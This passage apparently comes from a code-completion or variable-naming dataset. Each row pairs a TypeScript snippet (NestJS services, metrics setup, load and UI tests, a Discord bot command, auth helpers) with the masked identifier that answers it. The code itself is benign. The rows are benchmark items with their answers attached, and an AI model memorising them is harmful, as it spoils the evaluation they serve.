        this.loader.log('Python startup...');
        await runtime.loadInterpreter();
        runtimeLoaded.set(runtime);
        this.loader.log('Python ready!');

        // eslint-disable-next-line
        runtime.globals.set('pyscript_loader', this.loader);

        this.loader.log('Setting up virtual environment...');
        await this.setupVirtualEnv(runtime);
        await mountElements(runtime);

        this.loader.log('Executing <py-script> tags...');
        this.executeScripts(runtime);

        this.loader.log('Initializing web components...');
        // lifecycle (8)
        createCustomElements();

        if (runtime.config.autoclose_loader) {
            this.loader.close();
        }
        await initHandlers(runtime);

        // NOTE: runtime message is used by integration tests to know that
        // pyscript initialization has complete. If you change it, you need to
        // change it also in tests/integration/support.py
        logger.info('PyScript page fully initialized');
    }


    // lifecycle (6)
    async setupVirtualEnv(runtime: Runtime): Promise<void> {
        // XXX: maybe the following calls could be parallelized, instead of
        // await()ing immediately. For now I'm using await to be 100%
        // compatible with the old behavior.
        logger.info(""Packages to install: "", this.config.packages);
        await runtime.installPackage(this.config.packages);
        await this.fetchPaths(runtime);
    }

    async fetchPaths(runtime: Runtime) {
        // XXX this can be VASTLY improved: for each path we need to fetch a
        // URL and write to the virtual filesystem: pyodide.loadFromFile does
        // it in Python, which means we need to have the runtime
        // initialized. But we could easily do it in JS in parallel with the
        // download/startup of pyodide.
        const paths = this.config.paths;
        logger.info(""Paths to fetch: "", paths)
        for (const singleFile of paths) {
            logger.info(`  fetching path: ${singleFile}`);
            try {
                await runtime.loadFromFile(singleFile);
            } catch (e) {
                //Should we still export full error contents to console?
                handleFetchError(<Error>e, singleFile);
            }
        }
        logger.info(""All paths fetched"");
    }

    // lifecycle (7)
    executeScripts(runtime: Runtime) {
        for (const script of scriptsQueue_) {
            void script.evaluate();
        }
        scriptsQueue.set([]);
    }
}

function pyscript_get_config() {
    return globalApp.config;
}
globalExport('pyscript_get_config', pyscript_get_config);

// main entry point of execution
const globalApp = new PyScriptApp();
globalApp.main();
",runtime_cfg
451,"import { Injectable, NotFoundException } from '@nestjs/common';
import { Category } from 'src/entities/category.entity';
import { CreateCategoryDto, UpdateCategoryDto } from 'src/dto/category.dto';

@Injectable()
export class CategoriesService {
  private counterId = 1;

  private categories: Category[] = [
    {
      id: this.counterId,
      name: 'Category 1',
      description: 'A description for category 1',
    },
  ];

  findAll() {
    return this.categories;
  }

  findOne(id: number) {
    let category = this.categories.find((e) => e.id === id);
    if (!category) throw new NotFoundException(`Brand with id ${id} not found`);
    return category;
  }

  create(payload: CreateCategoryDto) {
    this.counterId += 1;
    const category = { id: this.counterId, ...payload };
    this.categories.push(category);
    return category;
  }

  update(id: number, payload: UpdateCategoryDto) {
    const  [MASK]  = this.categories.findIndex((e) => e.id === id);
    const category = this.findOne(id);
    if (!category) throw new NotFoundException(`Brand with id ${id} not found`);
    this.categories[ [MASK] ] = { ...category, ...payload };
    return this.categories[ [MASK] ];
  }

  delete(id: number) {
    this.categories = this.categories.filter((e) => e.id !== id);
    return id;
  }
}
",categoryIndex
452,"import { Registry } from 'promjs/registry';

export enum GoldenMetrics {
  AppLoaded = 'prom_react_app_loaded',
  AppUnloaded = 'prom_react_app_unloaded',
  PageNavigation = 'prom_react_navigation_duration_seconds',
  PageTimeToComplete = 'prom_react_ttc_seconds',
  PageTimeToUsable = 'prom_react_ttu_seconds',
  PerformanceTime = 'prom_react_performance_seconds',
}

export type MetricDefinition =
  | {
      type: 'counter';
      name: string;
      description: string;
    }
  | {
      type: 'histogram';
      name: string;
      description: string;
      buckets?: number[];
    };

const goldenMetrics: MetricDefinition[] = [
  {
    type: 'counter',
    name: GoldenMetrics.AppLoaded,
    description: 'Application loaded counter',
  },
  {
    type: 'counter',
    name: GoldenMetrics.AppUnloaded,
    description: 'Application unloaded counter',
  },
  {
    type: 'histogram',
    name: GoldenMetrics.PageNavigation,
    description: 'Total navigation duration between pages in seconds',
  },
  {
    type: 'histogram',
    name: GoldenMetrics.PageTimeToComplete,
    description: 'Section time to interactive in seconds',
  },
  {
    type: 'histogram',
    name: GoldenMetrics.PageTimeToUsable,
    description: 'Section time to usable in seconds',
  },
  {
    type: 'histogram',
    name: GoldenMetrics.PerformanceTime,
    description: 'Application performance load time in seconds',
  },
];

export const createMetrics = (
  registry: Registry,
  defaultBuckets: number[],
   [MASK] : MetricDefinition[] = [],
) => {
  if (registry.get('counter', GoldenMetrics.AppLoaded)) {
    // Avoid creating golden metrics if they already exist
    return;
  }

  [...goldenMetrics, ... [MASK] ].forEach((metric) => {
    switch (metric.type) {
      case 'counter':
        registry.create('counter', metric.name, metric.description);
        break;
      case 'histogram':
        registry.create(
          'histogram',
          metric.name,
          metric.description,
          metric.buckets || defaultBuckets,
        );
        break;
      default:
        break;
    }
  });
};
",customMetrics
453,"import {MethodMetadata} from ""@pristine-ts/metadata"";
import {MetadataEnum} from ""../enums/metadata.enum"";
import {toolsRegistry} from ""../decorators/tool.decorator"";
import {JsonSchemaUtils} from ""../utils/json-schema.utils"";
import {ToolOptions} from ""../options/tool.options"";

export class PromptApiToolSchemaBuilder {
    static getSchema(target: any) {}

    static getTools(): LanguageModelTool[] {
        return toolsRegistry.map((tool) => {
            const  [MASK]  = MethodMetadata.getMetadata(tool.target, tool.propertyKey, MetadataEnum.Tool) as ToolOptions<any>;

            return {
                name: tool.propertyKey,
                description:  [MASK] .description ?? """",
                inputSchema: JsonSchemaUtils.getJsonSchemaFromClassMetadata( [MASK] .parameterClassType),
                execute: tool.target[tool.propertyKey],
            }
        })

    }
}",toolMetadata
454,"// npm i @types/k6 --> k6 run src/script.ts
// sudo npm i -g pm2 --> pm2 start script.ts --interpreter ts-node -i max --> It Means we are running max number of cors of our machine
import http from 'k6/http';
import { sleep } from 'k6';
import { Rate } from 'k6/metrics';

export let errorRate = new Rate('error');

export let options = {
    // 1. Giving Virtual users and duration time
    /* vus: 100,
    duration: '1m', */

    // 2. Ramping up requests
    stages: [
        { duration: '10s', target: 500 },
        { duration: '15s', target: 100 },
        { duration: '10s', target: 600 },
        { duration: '20s', target: 500 }
    ],
};

export default function () {
    let response = http.get('http://127.0.0.1:3000/api/v1/test/ping');
    let  [MASK]  = response.status === 200;
    errorRate.add(! [MASK] );
    sleep(1 / 100);
}
",success
455,"import cors from 'cors';
import express, { Application, Request, Response } from 'express';
import http from 'http';
import helmet from 'helmet';
import 'dotenv/config';
import swaggerUi from 'swagger-ui-express';
import database from './database';
import swaggerDocument from '../swagger.json';
import registerRoutes from './routes';
import addErrorHandler from './middleware/error-handler';
import logger from './lib/logger';

export default class App {
	public express: Application;

	public httpServer: http.Server;

	public async init(): Promise<void> {
		this.express = express();
		this.httpServer = http.createServer(this.express);

		// Assert database connection
		await this.assertDatabaseConnection();


		// add all global middleware like cors
		this.middleware();

		// // register the all routes
		this.routes();

		// add the middleware to handle error, make sure to add if after registering routes method
		this.express.use(addErrorHandler);

		// In a development/test environment, Swagger will be enabled.
		if (process.env.NODE_ENV !== 'prod') {
			this.setupSwaggerDocs();
		}
	}

	/**
	 * here register your all routes
	 */
	private routes(): void {
		this.express.get('/', this.basePathRoute);
		this.express.use('/api', registerRoutes());
		this.express.get(
			'/web',
			this.parseRequestHeader,
			this.basePathRoute,
		);
	}

	/**
	 * here you can apply your middlewares
	 */
	private middleware(): void {
		// support application/json type post data
		// support application/x-www-form-urlencoded post data
		// Helmet can help protect your app from some well-known web vulnerabilities by setting HTTP headers appropriately.
		this.express.use(helmet({ contentSecurityPolicy: false }));
		this.express.use(express.json({ limit: '100mb' }));
		this.express.use(
			express.urlencoded({ limit: '100mb', extended: true }),
		);
		// add multiple cors options as per your use
		const  [MASK]  = {
			origin: [
				'http://localhost:8080/',
				'http://example.com/',
				'http://127.0.0.1:8080',
				'http://localhost:5173'
			],
		};
		this.express.use(cors( [MASK] ));
	}

	private parseRequestHeader(
		_req: Request,
		_res: Response,
		next: Function,
	): void {
		// parse request header
		// console.log(req.headers.access_token);
		next();
	}

	private basePathRoute(_request: Request, response: Response): void {
		response.json({ message: 'base path' });
	}

	private async assertDatabaseConnection(): Promise<void> {
		try {
			await database.authenticate();
			await database.sync();
			logger.info('Connection has been established successfully.');
		} catch (error) {
			logger.error('Unable to connect to the database:', error);
		}
	}

	private setupSwaggerDocs(): void {
		this.express.use(
			'/docs',
			swaggerUi.serve,
			swaggerUi.setup(swaggerDocument),
		);
	}
}
",corsOptions
456,"import { Product } from ""../domain/Product"";
import { ProductRepository } from ""../domain/Product.repository"";
import { RemoteProduct, StoreApi } from ""./api/StoreApi"";

function buildProduct(remoteProduct: RemoteProduct): Product {
    return Product.create({
        id: remoteProduct.id,
        title: remoteProduct.title,
        image: remoteProduct.image,
        price: remoteProduct.price.toString(),
    });
}

export class ProductApiRepository implements ProductRepository {
    constructor(private readonly storeApi: StoreApi) {}

    async getAll(): Promise<Product[]> {
        const  [MASK] : RemoteProduct[] = await this.storeApi.getAll();
        const products =  [MASK] .map(buildProduct);

        return products;
    }

    async getById(productId: number): Promise<Product> {
        const remoteProduct: RemoteProduct = await this.storeApi.get(productId);
        return buildProduct(remoteProduct);
    }

    async save(productId: number, price: number) {
        const remoteProduct = await this.storeApi.get(productId);

        if (!remoteProduct) throw new Error(""Product not found"");

        const editedRemoteProduct = {
            ...remoteProduct,
            price: Number(price),
        };

        try {
            await this.storeApi.post(editedRemoteProduct);
        } catch (error) {
            throw new Error(
                `An error has occurred updating the price ${editedRemoteProduct.price} for '${editedRemoteProduct.title}'`
            );
        }
    }
}
",remoteProducts
457,"import { useHighlightStore } from '@application/store/highlight';
import { ZIndexes } from '@presentation/styles/variables';
import { useCallback } from 'react';

export function useHighLight(): any {
  const isHighlight = useHighlightStore((state) => state.highlight);
  const setIsHighlight = useHighlightStore((state) => state.setHighlight);

  const setOverlayOnElement = useCallback(
    (elem: HTMLElement, id: string, message: string): void => {
      const rect = elem.getBoundingClientRect();
      const x = rect.left;
      const y = rect.top;
      const w = rect.width;
      const h = rect.height;

      // 전체 오버레이 생성 (백그라운드)
      const overlay = document.createElement('div');
      overlay.setAttribute('id', id);
      overlay.style.width = `${w}px`;
      overlay.style.height = `${h}px`;
      overlay.style.top = `${y}px`;
      overlay.style.left = `${x}px`;
      overlay.style.position = 'absolute';
      document.body.appendChild(overlay);

      // 메세지창 생성
      const balloon = document.createElement('div');
      balloon.innerText = message;
      balloon.style.position = 'absolute';
      balloon.style.left = `${x + w / 2}px`;
      balloon.style.top = `${y + h + 10}px`;
      balloon.style.backgroundColor = '#fff';
      balloon.style.border = '1px solid #ddd';
      balloon.style.borderRadius = '50px';
      balloon.style.padding = '8px';
      balloon.style.boxShadow = '0px 2px 4px rgba(0,0,0,0.2)';
      balloon.style.zIndex = (ZIndexes.HIGHLIGHT + 1).toString();
      document.body.appendChild(balloon);

      // target element의 clone 생성
      const clone: any = elem.cloneNode(true);
      const  [MASK]  = elem.getBoundingClientRect();
      clone.style.position = 'absolute';
      clone.style.left = `${ [MASK] .left + window.scrollX}px`; // Adjust for scrolling
      clone.style.top = `${ [MASK] .top + window.scrollY}px`; // Adjust for scrolling
      clone.style.width = `${ [MASK] .width}px`;
      clone.style.height = `${ [MASK] .height}px`;
      clone.style.zIndex = ZIndexes.HIGHLIGHT + 1;
      clone.style.boxShadow = '0 0 0 9999px rgba(0, 0, 0, 0.7)'; // Example to create a highlight effect
      document.body.appendChild(clone);

      setIsHighlight({ isHighlighted: true, clonedElement: clone });
    },
    [],
  );

  const highlightElement = useCallback(
    (targetId: string, message: string): void => {
      const elem = document.getElementById(targetId);
      if (elem) {
        setOverlayOnElement(elem, 'overlayID', message);
      }
    },
    [],
  );

  const removeHighlightElement = useCallback((): void => {
    const overlay = document.getElementById('overlayID');
    if (!isHighlight.clonedElement || !overlay) {
      return;
    }

    isHighlight.clonedElement.remove();
    overlay.remove();
    setIsHighlight({ isHighlighted: false, clonedElement: null });
  }, [isHighlight]);

  return {
    highlightElement,
    removeHighlightElement,
    isHighlight,
  };
}
",rect2
458,"import * as Icon from '~/components/Icon'

export type Route = {
  pathname?: string,
  title: string,
  sidebar: boolean,
  id?: string,
  display?: boolean,
  desc?: string,
  Icon?: JSX.Element | (() => JSX.Element),
}

export type Routes = {
  title: string,
  display?: boolean,
  children: Route[],
}

export const nav: Routes[] = [
  {
    title: '홈',
    display: false,
    children: [
      {
        pathname: '/',
        title: '홈',
        sidebar: true,
        display: true,
        desc: '',
      }
    ]
  },
  {
    title: '블로그',
    display: true,
    children: [
      {
        pathname: '/notices',
        title: '공지사항',
        sidebar: true,
        id: '48831',
        display: true,
        desc: '알려드립니다.',
        Icon: Icon.notice,
      },
      {
        pathname: '/news',
        title: '새소식',
        sidebar: true,
        id: '48830',
        display: true,
        desc: '새로운 소식',
        Icon: Icon.news,
      },
      {
        pathname: '/dev',
        title: '개발 정보',
        sidebar: true,
        id: '49562',
        display: true,
        desc: '새로운 소식',
        Icon: Icon.Publishing,
      },
    ],
  },
  {
    title: '기타',
    display: false,
    children: [
      {
        pathname: '/contact',
        title: '무료 상담',
        sidebar: true,
        display: true,
        desc: '무엇이든 알려드립니다.',
        Icon: Icon.Contact,
      },
      {
        pathname: '/privacy',
        title: '개인정보 보호정책',
        sidebar: false,
        display: true,
        desc: '개인정보 처리방침을 수립·공개합니다.',
        Icon: Icon.Privacy,
      },
    ]
  },
  {
    title: '설정',
    display: true,
    children: [
      {
        pathname: '/settings',
        title: '환경설정',
        sidebar: true,
        display: true,
        desc: '개인화 설정을 변경하실 수 있습니다.',
        Icon: Icon.Settings,
      }
    ],
  },
]

const exceptRoute = ['posts', 'services', 'events']

export function useNav(pathname?: string): Route {
  const matchedRoute = nav.reduce<Route[]>(( [MASK] , cur) =>  [MASK] .concat(cur.children), []).find(route => route.pathname === pathname)
  return matchedRoute || nav[0].children[0]
}

export function usePrevRoute(pathname : string): string {
  if (!pathname) return '/'
  const paths = pathname.split('/')
  paths.pop()
  const prevRoute = paths.filter(p => !exceptRoute.includes(p)).join('/')
  return !prevRoute || prevRoute === '' ? '/' : prevRoute
}

export type HeroString = [string, string][]

export const heroString: HeroString = [
  ['모든 IT 정보', '를'],
  ['여기에 담다', ''],
]",acc
459,"// Copyright (c) Myst<NAME>, Inc.
// SPDX-License-Identifier: Apache-2.0

import { fromB64 } from '@mysten/bcs';
import { Ed25519Keypair } from './ed25519-keypair';
import { PublicKey } from './publickey';
import { Secp256k1Keypair } from './secp256k1-keypair';
import { SignatureScheme } from './signature';

export const PRIVATE_KEY_SIZE = 32;
export const LEGACY_PRIVATE_KEY_SIZE = 64;

export type ExportedKeypair = {
  schema: SignatureScheme;
  privateKey: string;
};

/**
 * A keypair used for signing transactions.
 */
export interface Keypair {
  /**
   * The public key for this keypair
   */
  getPublicKey(): PublicKey;

  /**
   * Return the signature for the data
   */
  signData(data: Uint8Array): Uint8Array;

  /**
   * Get the key scheme of the keypair: Secp256k1 or ED25519
   */
  getKeyScheme(): SignatureScheme;

  export(): ExportedKeypair;
}

export function fromExportedKeypair(keypair: ExportedKeypair): Keypair {
  const  [MASK]  = fromB64(keypair.privateKey);
  switch (keypair.schema) {
    case 'ED25519':
      let pureSecretKey =  [MASK] ;
      if ( [MASK] .length === LEGACY_PRIVATE_KEY_SIZE) {
        // This is a legacy secret key, we need to strip the public key bytes and only read the first 32 bytes
        pureSecretKey =  [MASK] .slice(0, PRIVATE_KEY_SIZE);
      }
      return Ed25519Keypair.fromSecretKey(pureSecretKey);
    case 'Secp256k1':
      return Secp256k1Keypair.fromSecretKey( [MASK] );
    default:
      throw new Error(`Invalid keypair schema ${keypair.schema}`);
  }
}
",secretKey
460,"import { Component, Input, OnInit } from '@angular/core';
import { FetchClient } from '@c8y/ngx-components/api';
import * as L from 'leaflet';

//require(""./cluster.css"");

@Component({
    selector: 'clustered-map',
    templateUrl: './cluster.html'/*,
    styleUrls: ['./cluster.css']*/
})
export class ClusteredMap implements OnInit {
    map: L.Map;
    markers;
    constructor(private fetchClient: FetchClient) {}

    ngOnInit() {
        this.map = L.map('map').setView([0, 0], 2);

        L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {
            attribution: '&copy; <a href=""http://osm.org/copyright"">OpenStreetMap</a> contributors'
        }).addTo(this.map);

        this.markers = L.geoJson(null, {
            pointToLayer: this.createClusterIcon
        }).addTo(this.map);
        
        this.map.on('moveend', async () => this.update());

        this.markers.on('click', async (e) => {
            if (e.layer.feature.properties.cluster_id) {
                const response = await this.fetchClient.fetch('service/server-side-clustering/update', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                      },
                    body: JSON.stringify({
                        getClusterExpansionZoom: e.layer.feature.properties.cluster_id,
                        center: e.latlng
                    })
                });
                console.log(response);
                let data = await response.json();
                console.log(data);
                this.map.setZoomAround(data.center, data.expansionZoom);
            }
        });

        this.update();
    }

    createClusterIcon(feature, latlng) {
        if (!feature.properties.cluster) return L.marker(latlng);
    
        const count = feature.properties.point_count;
        const  [MASK]  =
            count < 100 ? 'small' :
            count < 1000 ? 'medium' : 'large';
        const icon = L.divIcon({
            html: `<div><span>${  feature.properties.point_count_abbreviated  }</span></div>`,
            className: `marker-cluster marker-cluster-${   [MASK] }`,
            iconSize: L.point(40, 40)
        });
    
        return L.marker(latlng, {icon});
    }
    
    async update() {
        const bounds = this.map.getBounds();
        const response = await this.fetchClient.fetch('service/server-side-clustering/update', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
              },
            body: JSON.stringify({
                bbox: [bounds.getWest(), bounds.getSouth(), bounds.getEast(), bounds.getNorth()],
                zoom: this.map.getZoom()
            })
        });
        console.log(response);
        let data = await response.json();
        console.log(data);
        this.markers.clearLayers();
        this.markers.addData(data);
    }
}",size
461,"import { Command } from 'discord-akairo';
import { MessageEmbed, Message } from 'discord.js';
import StryxClient from '../../src/client';

function Eightball() {
  const  [MASK]  = [
    'As I see it, yes.',
    'Ask again later.',
    'Better not tell you now.',
    'Cannot predict now.',
    'Concentrate and ask again.',
    'Don’t count on it.',
    'It is certain.',
    'It is decidedly so.',
    'Most likely.',
    'My reply is no.',
    'My sources say no.',
    'Outlook not so good.',
    'Outlook good.',
    'Reply hazy, try again.',
    'Signs point to yes.',
    'Very doubtful.',
    'Without a doubt.',
    'Yes.',
    'Yes – definitely.',
    'You may rely on it.',
  ];
  return  [MASK] [Math.floor(Math.random() *  [MASK] .length)]
}

class EightballCommand extends Command {
  constructor() {
    super('8ball', {
      aliases: ['8ball', 'eightball'],
      description: {
        content: 'Check the bot\'s ping!',
        ownerOnly: false,
        usage: '<question>',
      },
      args: [
        {
          id: 'question',
          type: 'string',
          match: 'rest',
        },
      ],
      category: 'bot',
      cooldown: 5000,
    });
  }

  async exec(msg: Message, { question }: { question: string }) {
    const { guild } = this.client as StryxClient;

    const embed = new MessageEmbed();

    if (!question) {
      embed.setTitle('Uh oh!');
      embed.setDescription('You need to ask a question!');
      embed.setColor(guild?.settings.constants.colors.error as string);
      embed.setAuthor(msg.author.username, msg.author.avatarURL() as string);
      embed.setTimestamp();
      return msg.channel.send(embed);
    }

    embed.setTitle('8 Ball says... 🎱');
    embed.setDescription(Eightball());
    embed.setColor(guild?.settings.constants.colors.success as string);
    embed.setAuthor(msg.author.username, msg.author.avatarURL() as string);
    embed.setTimestamp();
    return msg.channel.send(embed);
  }
}

module.exports = EightballCommand;
",responses
462,"import { defineNuxtModule, extendRouteRules } from ""@nuxt/kit"";
import { consola } from ""consola"";
import { HTTPStatusCode } from ""./types"";

interface Redirect {
  origin: string;
  destination: string;
  statusCode: HTTPStatusCode;
}

// Module options TypeScript interface definition
export interface ModuleOptions {
  /**
   * The module should log every redirect entry
   * @default true
   * @type boolean
   */
  verbose?: boolean;
  /**
   * list of redirects
   * @type {Array<Redirect>}
   **/
  rules: Array<Redirect>;
}

export default defineNuxtModule<ModuleOptions>({
  meta: {
    name: ""nuxt-easy-redirect"",
    configKey: ""redirects"",
    compatibility: {
      // Semver version of supported nuxt versions
      nuxt: ""^3.0.0"",
    },
  },
  // Default configuration options of the Nuxt module
  defaults: {
    verbose: true,
    rules: [],
  },
  hooks: {},
  setup( [MASK] ) {
    const redirects =  [MASK] .rules;

    if (!redirects) {
      return;
    }

    for (const redirect of redirects) {
      extendRouteRules(redirect.origin, {
        redirect: {
          to: redirect.destination,
          statusCode: redirect.statusCode,
        },
      });
      if ( [MASK] .verbose) {
        consola.info(
          `  • ${redirect.statusCode}`,
          `From: ${redirect.origin}`,
          `To: ${redirect.destination}`
        );
      }
    }

    consola.success(`${redirects.length} Redirects loaded`);
  },
});
",moduleOptions
463,"import { test }             from ""@playwright/test"";
import { LoginPage }        from ""./page-objects/login.page"";
import { DashboardPage }    from ""./page-objects/dashboard.page"";
import { CartPage }         from ""./page-objects/cart.page"";
import { OverviewPage, 
        YourInformationPage, 
        CompletePage }      from ""./page-objects/checkout.page"";


test.describe('on Sauce Demo system',()=>{
    
    test.beforeEach('before each', async ({page})=>{
        await page.goto('https://saucedemo.com')
    })

    test('a user is able to buy a product', async ({page})=>{
        //#region page objects
        const loginPage           = new LoginPage(page)
        const dasboardPage        = new DashboardPage(page)
        const cartPage            = new CartPage(page)
        const yourInformationPage = new YourInformationPage(page)
        const overviewPage        = new OverviewPage(page)
        const completePage        = new CompletePage(page)
        //#endregion
        //#region test variables
        const  [MASK]  = {
            loginPage: {
                username: 'standard_user',
                password: '<PASSWORD>'
            },
            productsPage: {
                product1: 'Sauce Labs Backpack',
                product2: 'Sauce Labs Bike Light'
            },
            checkoutPage: {
                userInformation: { 
                    firstName: 'Fantastic', 
                    lastName: 'MrJFoxx' 
                }
            }
        }

        let expectedData = {
            dashboardPage: {
                listedProducts: [
                    'Sauce Labs Backpack',
                    'Sauce Labs Bike Light',
                    'Sauce Labs Bolt T-Shirt',
                    'Sauce Labs Fleece Jacket',
                    'Sauce Labs Onesie',
                    'Test.allTheThings() T-Shirt (Red)'],
                amountOfProductsAdded: '2',
            },
            cartPage: {
                addedProducts: [
                    { title: 'Sauce Labs Backpack',     price: '$29.99' },
                    { title: 'Sauce Labs Bike Light',   price: '$9.99' }
                ],
            },
            checkoutPage: {
                ticketDetails: {
                    cardInformation:        'SauceCard #31337',
                    shippingInformation:    'Free Pony Express Delivery!',
                    priceTotal:             'Item total: $39.98',
                    tax:                    'Tax: $3.20',
                    total:                  'Total: $43.18'
                },
            },
            completePage: {
                header: 'Thank you for your order!',
                body:   'Your order has been dispatched, and will arrive just as fast as the pony can get there!'
            }
        }
        //#endregion
        //#region test scenario
        // [login page]: making login
        await loginPage.login2App( [MASK] .loginPage.username,  [MASK] .loginPage.password)
        await dasboardPage.verifyPageTitle()
        
        // [dashboard page]: adding a couple of products
        await dasboardPage.verifyListedProducts(expectedData.dashboardPage.listedProducts)
        await dasboardPage.products.clickAddToCart( [MASK] .productsPage.product1)
        await dasboardPage.products.clickAddToCart( [MASK] .productsPage.product2)
        await dasboardPage.verifyProductsAddedCount(expectedData.dashboardPage.amountOfProductsAdded)
        // [dashboard page]: navigating to next page
        await dasboardPage.topNavigationBar.clickShoppingCartIcon()
        await cartPage.verifyPageTitle()

        // [cart page]: verifying listed products in the cart
        await cartPage.verifyAttachedProducts(expectedData.cartPage.addedProducts)
        // [cart page]: navigating to next page
        await cartPage.clickCheckout()
        await yourInformationPage.verifyPageTitle()

        // [checkout: your information page]: submitting user information
        await yourInformationPage.fillForm( [MASK] .checkoutPage.userInformation)
        // [checkout: your information page]: navigating to next page
        await yourInformationPage.clickContinue()
        await overviewPage.verifyPageTitle()

        // [checkout: overview page]: making sure collected information is right
        await overviewPage.verifyAttachedProducts(expectedData.cartPage.addedProducts)  
        await overviewPage.verifyTicketDetails(expectedData.checkoutPage.ticketDetails)
        // [checkout: overview page]: navigating to next page
        await overviewPage.clickFinish()
        await completePage.verifyPageTitle()

        // [checkout: complete page]: verifying final confirmation message
        const expectedTitle     = expectedData.completePage.header
        const expectedBody  = expectedData.completePage.body
        await completePage.verifyCompleteMessage(expectedTitle, expectedBody)
        // [checkout: complete page]: navigating to next page
        await completePage.clickBackHome()
        await dasboardPage.verifyPageTitle()
        //#endregion
    })
})


",testData
464,"import axios, { AxiosInstance, AxiosResponse } from 'axios';
import AxiosHttpClient from './AxiosHttpClient';

jest.mock('axios');

describe('AxiosHttpClient', () => {
  let axiosHttpClient: AxiosHttpClient;
  let mockAxiosInstance: jest.Mocked<AxiosInstance>;

  beforeEach(() => {
    mockAxiosInstance = {
      get: jest.fn(),
      // Add other methods as needed (post, put, delete, etc.)
    } as unknown as jest.Mocked<AxiosInstance>;

    (axios.create as jest.Mock).mockReturnValue(mockAxiosInstance);

    axiosHttpClient = new AxiosHttpClient();
  });

  afterEach(() => {
    jest.resetAllMocks();
  });

  it('should make a GET request using axios', async () => {
    const mockData = { id: 1, name: 'Test' };
    const  [MASK] : AxiosResponse = {
      data: mockData,
      status: 200,
      statusText: 'OK',
      headers: new axios.AxiosHeaders(),
      config: { headers: new axios.AxiosHeaders() },
    };

    mockAxiosInstance.get.mockResolvedValue( [MASK] );

    const result = await axiosHttpClient.get<typeof mockData>('https://api.example.com/data');

    expect(result.data).toEqual(mockData);
    expect(axios.create).toHaveBeenCalledTimes(1);
    expect(mockAxiosInstance.get).toHaveBeenCalledWith('https://api.example.com/data');
  });

  it('should throw an error when the request fails', async () => {
    const mockError = new Error('Network Error');
    mockAxiosInstance.get.mockRejectedValue(mockError);

    await expect(axiosHttpClient.get('https://api.example.com/data')).rejects.toThrow('Network Error');
  });
});
",mockResponse
465,"import { Speckle, SpeckleBaseObject, SpeckleObject } from '@strategies/speckle';
import { Entity } from ""../../stores/Entities"";

export const APP_NAME = process.env.REACT_APP_SPECKLE_NAME
export const TOKEN = `${APP_NAME}.AuthToken`
export const REFRESH_TOKEN = `${APP_NAME}.RefreshToken`
export const CHALLENGE = `${APP_NAME}.Challenge`

export const buildUrl = async (streamId: string,  [MASK] : string, server: string, token?: string): Promise<string> => {
    const api = new Speckle({ server, token });

    const data = await api.Stream(streamId).Commit( [MASK] ).get;

    return `${server}/streams/${streamId}/objects/${data.referencedObject}`;
}

export const send = async (data: Entity[], streamId: string, server: string, token: string): Promise<string> => {

    let speckleObjs: SpeckleBaseObject[] = [];

    // NOTE: The objects bound to the entity are three.js based objects. We would need to load the commit without the speckle view object loader or load each commit twice.
    data.forEach(x => {
        speckleObjs.push({ id: x.id, speckle_type: x.objectType, data: x.bindObject })
    })

    const api = new Speckle({ server, token });
    const obj: SpeckleBaseObject = { speckle_type: ""Base"", id: api.getId, data: speckleObjs };

    console.log(obj);

    const res = await api.Stream(streamId).writeAndCommitObject(obj, ""From SpeckleDirStat"", ""main"") as SpeckleObject;

    console.log(res);

    return res.id;
}

// Redirects to the Speckle server authentication page, using a randomly generated challenge. Challenge will be stored to compare with when exchanging the access code.
export function goToSpeckleAuthPage(serverUrl: string) {
    // Generate random challenge
    const challenge =
        Math.random().toString(36).substring(2, 15) +
        Math.random().toString(36).substring(2, 15);

    // app.setChallenge(challenge);
    // Save challenge in localStorage
    localStorage.setItem(CHALLENGE, challenge)
    // Send user to auth page
    // @ts-ignore
    window.location = `${serverUrl}/authn/verify/${process.env.REACT_APP_SPECKLE_ID}/${challenge}`
}

// Log out the current user. This removes the token/refreshToken pair.
export function speckleLogOut() {
    // Remove both token and refreshToken from localStorage
    localStorage.removeItem(TOKEN)
    localStorage.removeItem(REFRESH_TOKEN)
}

// Exchanges the provided access code with a token/refreshToken pair, and saves them to local storage.
export async function exchangeAccessCode(accessCode: string, serverUrl: string) {
    const res = await fetch(`${serverUrl}/auth/token/`, {
        method: ""POST"",
        headers: {
            ""Content-Type"": ""application/json""
        },
        body: JSON.stringify({
            accessCode: accessCode,
            appId: process.env.REACT_APP_SPECKLE_ID,
            appSecret: process.env.REACT_APP_SPECKLE_SECRET,
            challenge: localStorage.getItem(CHALLENGE)
        })
    })
    const data = await res.json()
    if (data.token) {
        // If retrieving the token was successful, remove challenge and set the new token and refresh token
        localStorage.removeItem(CHALLENGE)
        localStorage.setItem(TOKEN, data.token)
        localStorage.setItem(REFRESH_TOKEN, data.refreshToken)
    }
    return data
}",commitId
466,"import { MailingTemplate } from '@theroyalwhee0/mailtpl';
import mkdirp from 'mkdirp';
import fs from 'node:fs/promises';
import path from 'node:path';
import { ITemplateWriter } from '../writer';

const dotHtml = '.html';
const dotText = '.txt';

export type FileWriterOptions = {
    folder: string,
    html?: string,
    text?: string,
    outputText?: boolean
};

export class FileWriter implements ITemplateWriter {

    #folder: string;
    #html: string;
    #text: string;
    #outputText: boolean;

    constructor(options: FileWriterOptions) {
        this.#folder = path.resolve(options.folder);
        this.#html = options.html ?? dotHtml;
        this.#text = options.text ?? dotText;
        this.#outputText = options.outputText ?? false;
    }

    async setup() {
        await mkdirp(this.#folder);
    }

    async write( [MASK] : MailingTemplate): Promise<void> {
        const name =  [MASK] .ident();
        if (!name) {
            throw new Error('Template has no ident to use as a filename.');
        }
        const htmlPath = path.resolve(this.#folder, name) + this.#html;
        const html =  [MASK] .html();
        await fs.writeFile(htmlPath, html, 'utf8');
        if (this.#outputText) {
            const textPath = path.resolve(this.#folder, name) + this.#text;
            const text =  [MASK] .text();
            await fs.writeFile(textPath, text, 'utf8');
        }
    }
}
",template
467,"import * as extend from ""extend"";
import * as moment from ""moment"";

interface DataType {
  db: string;
  serialize(value: any): Promise<any>;
  deserialize(value: any): Promise<any>;
}

interface Serializable {
  serialize(): Promise<string>;
}

interface SerializableClass<T extends Serializable> {
  new (): T;
  deserialize(value: string): Promise<T>;
}

enum BlobSize {
  TINY,
  REGULAR,
  MEDIUM,
  LONG
}

function blobBySize(size: BlobSize) {
  switch (size) {
    case BlobSize.TINY:
      return ""TINYBLOB"";
    case BlobSize.REGULAR:
      return ""BLOB"";
